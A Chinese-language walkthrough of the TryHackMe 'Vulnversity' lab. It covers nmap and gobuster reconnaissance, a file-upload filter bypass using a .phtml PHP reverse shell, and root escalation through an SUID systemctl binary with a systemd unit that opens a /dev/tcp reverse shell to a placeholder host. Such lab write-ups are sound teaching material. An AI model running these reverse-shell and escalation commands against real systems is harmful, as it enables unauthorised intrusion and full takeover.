THM-Vulnversity(漏洞大学)
1.侦查
使用Nmap进行主动信息收集
nmap 是一种免费、开源且功能强大的工具,用于发现计算机网络上的主机和服务。在我们的示例中,我们使用 nmap 扫描这台机器以识别在特定端口上运行的所有服务。nmap 有很多功能,下表总结了它提供的一些功能。
Nmap常用参数
| nmap标志 | 描述 |
|---|---|
| -sV | 尝试确定正在运行的服务的版本 |
| -p |
端口扫描端口 |
| -Pn | 禁用主机发现并仅扫描开放端口 |
| -A | 启用操作系统和版本检测,执行内置脚本以进行进一步枚举 |
| -SC | 使用默认的 nmap 脚本进行扫描 |
| -v | 详细模式 |
| -su | UDP端口扫描 |
| -sS | TCP SYN端口扫描 |
问题:
-
扫描盒子,打开了多少个端口?
由于tryhackme的靶机网络有一些延迟,使用nmap扫描可能会很慢,这里先使用-p1-10000扫描前10000个端口

扫描到了6个端口,尝试提交答案

如果答案不正确,我们需要继续使用-p参数继续扫描后面的端口 -
机器上运行的是什么版本的 squid 代理?
根据上一题扫描的答案,可以看出3128端口开放squid服务

使用-sV -p3128对该端口进行服务扫描,-n代表不进行域名解析

得到答案

-
如果使用标志-p-400,
nmap将扫描多少个端口?
在考我们对Nmap的理解,这里如果-左右两边没有设置,默认从开头开始或者在末尾结束
这里开头没有设置,默认从1端口开始,扫描的范围就是1-400端口
答案就是400 -
使用
nmap标志-n 它不能解决什么问题?
答案是DNS -
这台机器最有可能运行的操作系统是什么?
这里可以猜测系统的类型,常见的操作系统也就那几个
这里可以使用-O对目标系统进行扫描

并没有得到想要的系统,使用-A对目标进行全面扫描,因为-A全面扫描也会附带-O的系统扫描,尝试使用这个参数猜测目标系统

这里从3333端口的Apache服务获取了目标的操作系统为Ubuntu

-
Web 服务器在哪个端口上运行?

根据刚刚扫描到的3333端口为Apache服务可以确定这是一个Web服务

重要的是了解目标机器端口开放的情况(彻底)。了解所有开放的服务(它们都可能是利用点)非常重要,不要忘了可能有更改的端口开放,因此要始终扫描 1000 之后的端口(即使您将扫描留在后台)
说明:Nmap默认扫描常用的1000个端口
2.使用 GoBuster 进行目录探测
目录扫描的工具有很多,这里学习一个新的gobuster
首先查找目标隐藏的目录,GoBuster 是一种用于暴力破解 URI(目录和文件)、DNS子域和虚拟主机名的工具。对于这台机器,我们将专注于使用它来暴力破解目录
这里我们使用kali,使用sudo apt install gobuster安装
进行目录扫描我们需要一个单词列表,也就是字典,用于我们快速扫描目标目录,在kali中,/usr/share/wordlists目录中含有许多单词列表
现在让我们使用单词列表运行 GoBuster:gobuster dir -u http://<ip>:3333 -w <word list location>
| GoBuster | 描述 |
|---|---|
| -e | 在控制台中打印完整的 URL |
| -u | 目标网址 |
| -w | 单词列表的路径 |
| -U 和 -P | 基本身份验证的用户名和密码 |
| -p |
用于请求的代理 |
| -c |
指定用于模拟您的身份验证的 cookie |
- 有上传表单页面的目录是什么?
使用上述教给我们的gobuster进行目标进行目录扫描
gobuster dir -u http://10.10.174.124:3333/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e
使用的字典是/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,dirbuster目录扫描工具的字典

最后扫描到了一个internal的目录,访问查看

这是一个文件上传页面,很可疑,这就是我们所需要的答案

3.文件上传、反弹shell
现在我们已经找到了一个文件上传页面,使用该Web漏洞上传我们的有效载荷,然后执行反弹shell
首先准备一个内容为<?php phpinfo();?>的文件,后缀名为.php进行上传,这里的文件名为Junglezt.php
上传返回

猜测可能不可以上传.php后缀的文件
这里可以对上传表单进行模糊测试
使用Burpsuite的Intruder进行自动化上传测试
首先我们需要一个词表(上传文件后缀名的词表):

确保我们拦截了文件上传提交的数据包。右键->发送到Intruder模块

对上传数据包进行配置,设置为狙击手(sniper)模式,将.php设置为后缀名

进入Payloads选项这是单子列表,然后点击Start attack进行模糊测试


根据返回长度可以看出phtml的文件可以上传成功,这里我们使用kali自带的php-reverse-shell.php进行反弹shell
位置在/usr/share/webshells/php中
修改反弹shell的IP和端口

使用nc监听本机端口,等待靶机shell回弹

将修改后的php-reverse-shell.php的后缀名改为.phtml,并上传

上传成功,寻找上传文件所在的目录
这里可以猜测上传目录为upload或者uploads,一般在当前目录下的,或者上一级目录下,可以猜测一下
这里我们使用gobuster对当前目录internal下的目录进行扫描

扫描到了uploads目录,使用浏览器访问

可以看到其中存在刚刚上传的Junglezt.phtml、php-reverse-shell.phtml文件,访问php-reverse-shell.phtml文件
然后回到查看nc是否回连

这里成功获取目标机器的www-data的权限
-
管理网络服务器的用户的名称是什么?
获取权限后查看/etc/passwd获取

-
什么是用户标志?
这里猜测是bill用户的文件,追踪到该用户家目录

4.特权升级
现在是最后一步,我们将要对目标进行权限的提升,目标是获取更高的权限,因为www-data用户可以做的事情实在是很少
在Linux中,SUID(set owner userId upon execution) 是赋予文件的一种特殊类型的文件权限。SUID 为用户提供临时权限,以在文件所有者(而不是运行它的用户)的许可下运行程序/文件
例如:用于更改密码的二进制文件/usr/bin/passwd设置了SUID位,如果普通用户使用/usr/bin/passwd是没有权限的,只有root可以使用,但是该二进制文件设置了SUID位,我们就可以在执行该二进制文件的时候以root的身份运行。也就是普通的用户也可以更改任何用户的密码。
这样错误的SUID权限可能会导致权限提升的漏洞

- 在系统上,搜索所有 SUID 文件。什么文件脱颖而出?
使用find搜索存在SUID权限的文件、
find / -perm -04000 -type f -print 2>/dev/null

这里经过查阅/bin/systemctl命令存在SUID提权漏洞

首先进入/dev/shm目录,写入一个后缀名为.service的文件,内容为
[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1"
[Install]
WantedBy=multi-user.target
我们需要使用echo或者vim命令进行写入,由于目标的shell不是交互式shell,操作不太方便,这里我们将其提升为交互式shell`
- 输入
python -c 'import pty;pty.spawn("/bin/bash")',获得一个bashshell - 然后执行
export TERM=xterm - 输入快捷键
CTRL + Z,将nc切入后台运行 - 输入命令
stty raw -echo; fg,然后摁下回车,这样我们就拥有了一个交互式shell

现在使用echo写入mm.service,注意,写入目录一定是/dev/shm/
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1"
[Install]
WantedBy=multi-user.target' > mm.service
#生成的unit名位mm.service
然后监听本机的5555端口,改端口是/dev/tcp/IP/PORT指定的

然后依次执行以下两条命令,就会反弹一个root的shell
systemctl link /dev/shm/mm.service
systemctl enable --now /dev/shm/mm.service
成功获得root的shell

- 获得最后一个标志/root/root.txt


浙公网安备 33010602011771号